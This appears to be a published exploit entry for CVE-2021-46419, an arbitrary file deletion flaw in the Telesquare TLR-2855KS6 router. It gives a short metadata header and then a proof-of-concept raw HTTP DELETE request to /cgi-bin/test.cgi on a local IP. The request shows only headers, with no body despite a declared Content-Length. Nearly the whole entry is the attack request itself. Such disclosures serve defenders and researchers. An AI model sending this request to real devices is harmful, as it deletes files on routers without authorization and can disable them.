[webapps] Telesquare TLR-2855KS6 - Arbitrary File Deletion

# Exploit Title: Telesquare TLR-2855KS6 - Arbitrary File Deletion # Date: 7/4/2022 # Exploit Author: Momen Eldawakhly (Cyber Guy) # Vendor Homepage: http://www.telesquare.co.kr/ # Version: TLR-2855KS6 # Tested on: Linux [Firefox] # CVE : CVE-2021-46419 # Proof of Concept DELETE /cgi-bin/test.cgi HTTP/1.1 Host: 192.168.1.5 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-Length: 438 Origin: http://192.168.1.5 DNT: 1 Connection: close Referer: http://192.168.1.5/ Cookie: nonce=16426923592222